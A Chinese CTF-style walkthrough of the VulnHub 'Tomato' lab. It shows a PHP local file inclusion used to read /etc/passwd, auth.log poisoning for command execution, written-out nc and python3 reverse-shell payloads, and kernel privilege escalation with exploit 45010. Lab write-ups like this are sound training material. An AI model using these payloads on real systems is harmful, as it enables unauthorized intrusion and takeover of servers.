打靶记录22——Tomato

news2025/1/23 13:03:35

靶机:

https://download.vulnhub.com/tomato/Tomato.ova

难度:

目标:

  • 获得 Root 权限 +Flag

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息收集
  • 路径爬取
  • 源码分析
  • 文件包含
  • 写入日志 /var/log/auth.log
  • 内核漏洞枚举 les.sh
  • 本地提权

主机发现

sudo arp-scan -l

端口扫描和服务发现

nmap -p- 192.168.31.23

nmap -p21,80,2211,8888 -sV 192.168.31.23

-sV:这个选项表示进行版本探测。Nmap 将尝试确定在指定端口上运行的服务的版本信息,以便于用户了解所使用的软件版本。

发现它把 SSH 服务的端口从 22 改成 2211 了

sudo nmap -p21 -sC 192.168.31.23

-sC:这个选项表示启用 Nmap 的默认脚本引擎(Nmap Scripting Engine, NSE),执行与目标服务相关的默认脚本。这些脚本可以帮助获取更详细的信息和执行一些基本的安全检查。

发现没有可以用匿名 FTP 的方式

sudo nmap -p80 -sC 192.168.31.23

80 端口上跟漏洞相关的信息也没有,剩下的两个端口上面也没有

浏览器直接访问Web页面,发现是一个番茄

Ctrl + U 查看源码也没有发现任何有价值的信息

访问 8888 端口发现需要账号密码,尝试了几个弱口令之后失败了,用字典暴力破解也不行

路径爬取

sudo dirb "http://192.168.31.28/"

发现一个路径:/antibot_image/

在里面发现一个 info.php,里面有很多配置信息

Ctrl + U 查看源码,发现一行注释

文件包含

</?php include $_GET['image']; 

这里存在一个文件包含的漏洞

这段代码存在严重的安全风险,被称为“文件包含漏洞”。如果没有对 $_GET['image'] 的输入进行严格的验证和清理,攻击者可以通过构造恶意 URL 来包含服务器上的任意文件,例如:

  • 本地文件包含(LFI):攻击者可以尝试包含系统文件,如 /etc/passwd 等,获取敏感信息。
  • 远程文件包含(RFI):如果允许远程文件包含,攻击者可以通过 URL 远程加载恶意文件,进行代码执行或其他攻击。

那我们 GET 传参尝试进行本地文件包含,发现成功读取到了 /etc/passwd 文件的信息

http://192.168.31.28/antibot_image/antibots/info.php?image=/etc/passwd

尝试读取日志文件 /var/log/auth.log

/var/log/auth.log 是一个在许多基于 Linux 的操作系统中使用的日志文件,主要用于记录与系统认证和授权相关的事件。

auth.log 文件记录了与用户认证、登录尝试、sudo 命令的使用、身份验证失败等相关的信息。常见的内容包括:

  • 成功和失败的登录尝试(例如 SSH 登录)。
  • 使用 sudo 命令的记录,包括执行的命令和用户。
  • PAM(可插拔认证模块)相关的信息。
  • 系统服务(如 SSH 登录)启动和停止的信息。
  • 其他与用户权限和安全相关的事件。
view-source:http://192.168.31.28/antibot_image/antibots/info.php?image=/var/log/auth.log

那我们尝试 ssh 登录试试,日志是否会出现在这里面

ssh aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@192.168.31.28 -p 2211

再次读取 auth.log 日志文件即可发现确实是有记录产生在这里

那么我们就可以直接写一个 php 的一句话木马过去

但是命令行这个一直失败,提示 remote username contains invalid characters,???why?为啥别人都可以,难道是我的 ssh 版本太高了导致的?啊啊啊啊啊啊啊啊啊啊啊啊啊!

two hours late..................................

那就用工具(MobaXterm1_CHS1)来连接它终于成功了

?image=/var/log/auth.log&cmd=id

看一下 id 命令执行没有,发现执行了

反弹shell

?image=/var/log/auth.log&cmd=which nc

看一下发现有 nc 这个工具,用 nc 来反弹 shell 发现靶机的 nc 没有 -e 参数,反弹不了

?image=/var/log/auth.log&cmd=nc -e /bin/bash 192.168.31.132 4444

view-source:http://192.168.31.32/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=which%20python3

但是有 python3,那我们就用 python3 来反弹shell

在这个网站(https://forum.ywhack.com/shell.php)里有反弹 shell 大全,找一个来用

view-source:http://192.168.31.32/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.31.136%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

传参之后成功反弹shell(记得把 python 改成 python3)(>_<)

按照惯例升级一下shellpython3 -c "import pty;pty.spawn('/bin/bash')"

提权

先信息收集 uname -a,发现内核是 4.4.0-21-generic

用到 linux-exploit-suggester 工具

重命名一下成 les.sh

放到目标靶机上运行一下这个脚本

靶机先启动 nc 侦听接收文件 nc -lvnp 5555 > les.sh

本机 kali 传文件 nc 192.168.31.32 5555 < les.sh -w 1

传过去之后赋予执行权限,然后运行脚本

发现第二个 exp 可以成功利用,Exposur 是 highly probable 极有可能的,然后编号是 45010

searchsploit 45010 搜索找到 45010.c

先搞到当前目录先,按理说最好到靶机上再编译这个 C 脚本,但是目标靶机上没有安装 GCC

那我们只能在我们的 kali 上面编译好了之后再传过去

靶机接收之后运行但是报错了,这个错误提示意味着你的Docker容器中缺少GLIBC_2.34版本的依赖库

GLIBC(GNU C Library)是Linux系统上最常用的C库之一,它提供了许多基本的系统函数和工具。它是Linux系统与应用程序之间的接口,用于提供操作系统级别的功能和服务。

遇到的错误信息表明您尝试运行的程序 exp 需要特定版本的 GNU C 库(glibc),即 GLIBC_2.34,但在您的系统上未找到该版本。这通常意味着您的操作系统中安装的 glibc 版本较旧。

意思就是我 kali 的 GCC 版本太高了呗,不适配它靶机

那我只能再搞一台虚拟机来了,用这台虚拟机生成的 exp 再传过去给靶机执行

下一台与靶机环境相同或相似的环境

在该环境下编译,把编译好的exp上传靶机

在靶机上赋权,执行,得到root权限

奶奶滴!我直接起一个Ubuntu16:04的 docker 容器好嘞

把 docker 容器里的文件复制出来

nc 传过去

打靶完毕!

获得flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2263424.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

三维引擎cesium学习经验

三维引擎cesium学习经验&#xff1a; 1、初始化viewer对象 2、对entity的操作&#xff1a;添加&#xff0c;隐藏&#xff0c;修改&#xff0c;去除&#xff0c;居中显示 3、去除掉entity的双击事件 4、获取当前视角高度 5、获取经纬度在屏幕上的位置 6、获取三维场景屏幕中心点…

【蓝桥杯】43699-四平方和

四平方和 题目描述 四平方和定理&#xff0c;又称为拉格朗日定理&#xff1a; 每个正整数都可以表示为至多 4 个正整数的平方和。如果把 0 包括进去&#xff0c;就正好可以表示为 4 个数的平方和。 比如&#xff1a; 502021222 712121222; 对于一个给定的正整数&#xff0c;可…

十、从0开始卷出一个新项目之瑞萨RZN2L rzn-fsp v2.0.0 Release Notes

目录 一、概述 二、Github地址 三、 Features Added 3.1 Developer Assistance feature support added. 3.2 Multiplex interrupts support added. 四、Bug Fixes and Improvements 4.1 Added a noncache section for user applications. 4.2 Unified case of asm inst…

VM16+解压版CentOS7安装和环境配置教程(2024年12月20日)

VM16解压版CentOS7安装和环境配置教程-2024年12月20日 一、下载安装包二、vm安装三、解压版CentOS7安装四、CentOS设置静态IP 因为很多同学觉得配置CentOS7好麻烦&#xff0c;我特地提供了一个已经配置好的现成镜像&#xff0c;来简化操作本篇来记录过程。 如果你在看到这篇文章…

PC寄存器(Program Counter Register)jvm

在JVM(Java虚拟机)中,PC寄存器(Program Counter Register)扮演着至关重要的角色。以下是对JVM中PC寄存器的详细解释: 一、定义与功能 定义: JVM中的PC寄存器,也被称为程序计数器,是对物理PC寄存器的一种抽象模拟。它用于存储当前线程所执行的字节码指令的地址,即指…

学习threejs,scene.overrideMaterial全局材质效果

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.2 ☘️THREE.Scene 场景1.2 ☘️…

【原生js案例】前端封装ajax请求及node连接 MySQL获取真实数据

上篇文章&#xff0c;我们封装了ajax方法来请求后端数据&#xff0c;这篇文章将介绍如何使用 Node.js 来连接 MySQL&#xff0c;并对数据库进行操作。 实现效果 代码实现 后端接口处理 const express require("express"); const connection require("../da…

FFmpeg 4.3 音视频-多路H265监控录放C++开发二十一.2,RTP协议-RTP协议概述,协议详情

前提: 为什么要学习 RTP&#xff08;Real-time Transport Protocol&#xff09;重点 简介&#xff1a;RTP是一个实时传输媒体数据的协议&#xff0c;通常与RTSP一起使用。它负责在网络上传输音视频数据。特点&#xff1a;RTP通过UDP或TCP传输媒体数据&#xff0c;提供时间戳和序…

Chapter 18 CMOS Processing Technology

Chapter 18 CMOS Processing Technology 这一章介绍CMOS制造工艺, 介绍wafer制作, 光刻, 氧化, 离子注入, 沉淀(deposition)和刻蚀. 然后介绍MOS管制作流程, 最后介绍被动器件和互连接. 18.1 General Considerations sheet resistance为方块电阻. R ρL/(W t), 方块电阻定…

服务器数据恢复—V7000存储中多块磁盘出现故障导致业务中断的数据恢复案例

服务器存储数据恢复环境&#xff1a; 一台V7000存储上共12块SAS机械硬盘&#xff08;其中1块是热备盘&#xff09;&#xff0c;组建了2组Mdisk&#xff0c;创建了一个pool。挂载在小型机上作为逻辑盘使用&#xff0c;小型机上安装的AIXSybase。 服务器存储故障&#xff1a; V7…

LabVIEW中的“Synchronize with Other Application Instances“

在LabVIEW中&#xff0c;“Synchronize with Other Application Instances”是一个常见的提示或错误&#xff0c;通常出现在尝试并行运行多个LabVIEW实例时&#xff0c;特别是当你打开多个VI或项目时。这个问题可能影响程序的执行流程&#xff0c;导致不同实例之间的数据同步或…

简单配置,全面保护:HZERO审计服务让安全触手可及

HZERO技术平台&#xff0c;凭借多年企业资源管理实施经验&#xff0c;深入理解企业痛点&#xff0c;为您提供了一套高效易用的审计解决方案。这套方案旨在帮助您轻松应对企业开发中的审计挑战&#xff0c;确保业务流程的合规性和透明度。 接下来&#xff0c;我将为大家详细介绍…

【论文研读】U-DiTs:在U型扩散Transformer中引入下采样Token,以更低计算成本超越DiT-XL/2

推荐理由 这篇论文提出了一种新的U型扩散Transformer模型&#xff08;U-DiT&#xff09;&#xff0c;该模型通过对自注意力机制中的查询、键和值进行下采样&#xff0c;有效减少了计算冗余&#xff0c;同时提高了性能。论文中的研究不仅包含理论分析和实验验证&#xff0c;还展…

深入理解 Linux wc 命令

文章目录 深入理解 Linux wc 命令1. 基本功能2. 常用选项3. 示例3.1 统计文件的行、单词和字符数3.2 仅统计行数3.3 统计多个文件的总和3.4 使用管道统计命令输出的行数 4. 实用案例4.1 日志分析4.2 快速统计代码行数4.3 统计单词频率 5. 注意事项6. 总结 深入理解 Linux wc 命…

SDMTSP:黑翅鸢算法(Black-winged kite algorithm,BKA)求解单仓库多旅行商问题,可以更改数据集和起点(MATLAB代码)

一、黑翅鸢算法BKA 黑翅鸢算法&#xff08;Black-winged kite algorithm&#xff0c;BKA&#xff09;由Wang Jun等人于2024年提出&#xff0c;该算法受黑翅鸢的迁徙和掠食行为启发而得。BKA集成了柯西突变策略和领导者策略&#xff0c;增强了算法的全局搜索能力&#xff0c;提…

[oeasy]python054_python有哪些关键字_keyword_list_列表_reserved_words

python有哪些关键字_keyword_list_列表_reserved_words 回忆上次内容 hello world 不是 从来就有的 来自于 c语言 print、小括号 和 双引号 也来自于 c语言 添加图片注释&#xff0c;不超过 140 字&#xff08;可选&#xff09; python 标识符 的 命名规则 依然 完全 学习…

OpenCV 学习记录:首篇

最近在学习机器视觉&#xff0c;希望能通过记录博客的形式来鞭策自己坚持学完&#xff0c;同时也把重要的知识点记录下来供参考学习。 1. OpenCV 介绍与模块组成 什么是 OpenCV&#xff1f; OpenCV (Open Source Computer Vision Library) 是一个开源的计算机视觉和机器学习软…

GTID详解

概念和组成 1&#xff0c;全局事务表示&#xff1a;global transaction identifiers 2, GTID和事务一一对应&#xff0c;并且全局唯一 3&#xff0c;一个GTID在一个服务器上只执行一次 4&#xff0c;mysql 5.6.5开始支持 组成 GTID server_uuid:transaction_id 如&#xf…

[Unity]【图形渲染】【游戏开发】Shader数学基础4-更多矢量运算

在计算机图形学和着色器编程中,矢量运算是核心的数学工具之一。矢量用于描述空间中的位置、方向、速度等各种物理量,并在图形变换、光照计算、纹理映射等方面起着至关重要的作用。本篇文章将详细讲解矢量和标量之间的乘法与除法、矢量的加法与减法、矢量的模与单位矢量、点积…

项目管理工具Maven(一)

Maven的概念 什么是Maven 翻译为“专家”&#xff0c;“内行”Maven是跨平台的项目管理工具。主要服务于基于Java平台的项目构建&#xff0c;依赖管理和项目信息管理。什么是理想的项目构建&#xff1f; 高度自动化&#xff0c;跨平台&#xff0c;可重用的组件&#xff0c;标准…